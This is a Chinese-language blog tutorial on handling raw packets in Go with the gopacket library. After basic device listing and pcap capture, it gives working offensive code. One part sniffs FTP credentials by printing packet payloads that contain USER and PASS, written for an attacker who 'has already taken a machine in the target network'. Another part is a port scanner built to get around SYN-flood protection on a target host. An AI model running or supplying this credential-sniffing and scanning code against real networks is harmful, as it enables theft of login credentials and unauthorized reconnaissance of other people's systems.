用Go处理原始数据包

1. gopacket基本使用

Google开发的gopacket库可以方便地处理网络数据包,比如操作pcap文件,支持BPF过滤器语法(Berkeley Packet Filter, 又称为tcpdump语法)等。

文档:https://pkg.go.dev/github.com/google/gopacket/

安装:

go get github.com/google/gopacket

linux系统需要安装libpcap库:

sudo apt-get install libpcap-dev

windows则需要安装WinPcap

检索可用设备

文档:https://pkg.go.dev/github.com/google/gopacket/pcap

package main

import (
	"fmt"
	"log"

	"github.com/google/gopacket/pcap"
)

func main() {
	pcapDevices, err := pcap.FindAllDevs()
	if err != nil {
		log.Panicln(err)
	}

	for _, pcapDev := range pcapDevices {
		fmt.Println(pcapDev.Name)
		fmt.Println(pcapDev.Description)
		for _, address := range pcapDev.Addresses {
			fmt.Printf("    IP:      %s\n", address.IP)
			fmt.Printf("    Netmask: %s\n", address.Netmask)
			fmt.Printf("    Broadaddr: %s\n", address.Broadaddr)
			fmt.Printf("    P2P: %s\n", address.P2P)
		}
	}
}

捕获并过滤数据包

官网example: https://pkg.go.dev/github.com/google/gopacket/pcap#hdr-Reading_PCAP_Files

保存为pcap官方example: https://pkg.go.dev/github.com/google/gopacket/pcapgo#example-package-CaptureEthernet

BPF语法可参考tcpdump官网:https://www.tcpdump.org/manpages/pcap-filter.7.html

package main

import (
	"fmt"
	"log"
	"os"

	"github.com/google/gopacket"
	"github.com/google/gopacket/layers"
	"github.com/google/gopacket/pcap"
	"github.com/google/gopacket/pcapgo"
)

func main() {
	var (
		strIntface  = "enp0s3"
		nSnaplen    = int32(1600)
		bPromisc    = false
		nTimeout    = pcap.BlockForever
		strFilter   = "tcp and port 80"
		bDevFound   = false
		strPcapFile = "/tmp/test.pcap"
	)

	// 1. Find the interface
	devices, err := pcap.FindAllDevs()
	if err != nil {
		log.Panicln(err)
	}

	for _, device := range devices {
		fmt.Printf("iface: %s\n", device.Name)
		if device.Name == strIntface {
			bDevFound = true
			break
		}
	}
	if !bDevFound {
		log.Panicf("Device named '%s' does not exist\n", strIntface)
	}

	// 2. Get the handle of the interface
	handle, err := pcap.OpenLive(strIntface, nSnaplen, bPromisc, nTimeout)
	if err != nil {
		log.Panicln(err)
	}
	defer handle.Close()

	// 3. set bpf filter
	if err := handle.SetBPFFilter(strFilter); err != nil {
		log.Panicln(err)
	}

	// 3. save as .pcap
	fPcap, err := os.Create(strPcapFile)
	if err != nil {
		log.Fatal(err)
	}
	defer fPcap.Close()
	pcapw := pcapgo.NewWriter(fPcap)
	if err := pcapw.WriteFileHeader(1600, layers.LinkTypeEthernet); err != nil {
		log.Fatalf("WriteFileHeader: %v", err)
	}

	// 4. Make handle as the source
	// source := gopacket.NewPacketSource(handle, handle.LinkType())
	source := gopacket.NewPacketSource(handle, layers.LayerTypeEthernet)
	for packet := range source.Packets() {
		fmt.Println(packet)
		if err := pcapw.WritePacket(packet.Metadata().CaptureInfo, packet.Data()); err != nil {
			log.Fatalf("pcap.WritePacket(): %v", err)
		}
	}
}

保存的/tmp/test.pcap可以用wireshark打开,也可以用 pcap.OpenOffline打开后解码分析,具体可参考asta谢的这篇文章,《网络流量抓包库 gopacket》,以及官方Packet接口注释

2. 嗅探用户凭证

应用前提:已经拿下目标网络的某台机器

在过滤数据包代码基础上,修改过滤表达式:

strFilter  = "tcp and dst port 21"

然后在遍历数据包时,提取应用层,分析其payload中是否有我们关心的关键词:

source := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range source.Packets() {
    appLayer := packet.ApplicationLayer()
    if appLayer == nil {
        continue
    }
    payload := appLayer.Payload()
    arrStrKeyWords := [2]string{"USER", "PASS"}
    for _, strKeyWord := range arrStrKeyWords {
        if bytes.Contains(payload, []byte(strKeyWord)) {
            fmt.Print(string(payload))
        }
    }
}

3. 绕过SYN泛洪保护进行端口扫描

SYN Cookie

简单复习一下syn泛洪攻击:攻击者对服务器发送大量的SYN连接请求(第一次握手),却不回复服务器返回的SYN+ACK(第二次握手),服务器就保存了大量半连接(half-open)请求,每个请求都要为TCB(TCP 传输控制块)开辟内存(backlog维护上限),最终内存耗尽或达到backlog上限而拒绝服务。

[syn cookie](https://baike.baidu.com/item/syn cookie)是用来防范SYN Flood攻击的手段之一,服务端收到一个SYN时不需要分配空间,而是结合SYN初始序列号、双方ip、端口等信息计算出SYN-ACK序列号(就是SYN cookies),收到ack时在进行验证。

在使用syn泛洪保护时,通常所有端口(open, closed, filtered)都会产生相同的数据交换,以表明端口处于打开状态。

绕过

TCP SYN泛洪主要发生在OSI的传输层,抓包后自然也要分析传输层(TransportLayer()),要关注的是tcp的标志位(Control Flag),它在下标13的字节。

7->0
CWR | ECE | URG | ACK | PSH | RST | SYN | FIN

通过标志位可以检查是否有三次握手之外的其它数据包,以下的BPF过滤条件可以表示监听服务:

tcp[13] == 0x11 or tcp[13] == 0x10 or tcp[13] == 0x18

解释:

  • ACK & FIN : b00010001 == 0x11
  • ACK : b00010000 == 0x10
  • ACK & PSH: b00011000 == 0x18

源码:


var (
	nSnaplen   = int32(320)
	bPromisc   = true
	nTimeout   = pcap.BlockForever
	strFilter  = "tcp[13] == 0x11 or tcp[13] == 0x10 or tcp[13] == 0x18"
	bDevFound  = false
	mapResults = make(map[string]int)
)

func capture(iface, target string) {
	handle, err := pcap.OpenLive(iface, nSnaplen, bPromisc, nTimeout)
	if err != nil {
		log.Panicln(err)
	}
	defer handle.Close()

	if err := handle.SetBPFFilter(strFilter); err != nil {
		log.Panicln(err)
	}

	source := gopacket.NewPacketSource(handle, handle.LinkType())
	fmt.Println("Capturing packets")
	for packet := range source.Packets() {
		networkLayer := packet.NetworkLayer()
		if networkLayer == nil {
			continue
		}
		transportLayer := packet.TransportLayer()
		if transportLayer == nil {
			continue
		}

		srcHost := networkLayer.NetworkFlow().Src().String()
		srcPort := transportLayer.TransportFlow().Src().String()

		if srcHost != target {
			continue
		}
		mapResults[srcPort] += 1
	}
}

func explode(portString string) ([]string, error) {
	ret := make([]string, 0)

	ports := strings.Split(portString, ",")
	for _, port := range ports {
		port := strings.TrimSpace(port)
		ret = append(ret, port)
	}

	return ret, nil
}

func newSliceValue(vals []string, p *[]string) *[]string {
	*p = vals
	return (*[]string)(p)
}

func main() {
	var (
		pStrFlagDev   = flag.String("iface", "", "The interface to capture.")
		pStrFlagIp    = flag.String("ip", "", "The target ip.")
		pStrFlagPorts = flag.String("ports", "", "The ports to listen to.")
	)
	flag.Parse()

	if len(os.Args) != 4 {
		log.Fatalln("Usage: main.go <capture_iface> <target_ip> <port1,port2,port3>")
	}

	devices, err := pcap.FindAllDevs()
	if err != nil {
		log.Panicln(err)
	}

	for _, device := range devices {
		if device.Name == *pStrFlagDev {
			bDevFound = true
		}
	}
	if !bDevFound {
		log.Panicf("Device named '%s' does not exist\n", *pStrFlagDev)
	}

	go capture(*pStrFlagDev, *pStrFlagIp)
	time.Sleep(1 * time.Second)

	ports, err := explode(*pStrFlagPorts)
	if err != nil {
		log.Panicln(err)
	}

	for _, port := range ports {
		target := fmt.Sprintf("%s:%s", *pStrFlagIp, port)
		fmt.Println("Trying", target)
		conn, err := net.DialTimeout("tcp", target, 1000*time.Millisecond)
		if err != nil {
			continue
		}
		conn.Close()
	}
	time.Sleep(2 * time.Second)

	for port, confidence := range mapResults {
		if confidence >= 1 {
			fmt.Printf("Port %s open (confidence: %d)\n", port, confidence)
		}
	}
}

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值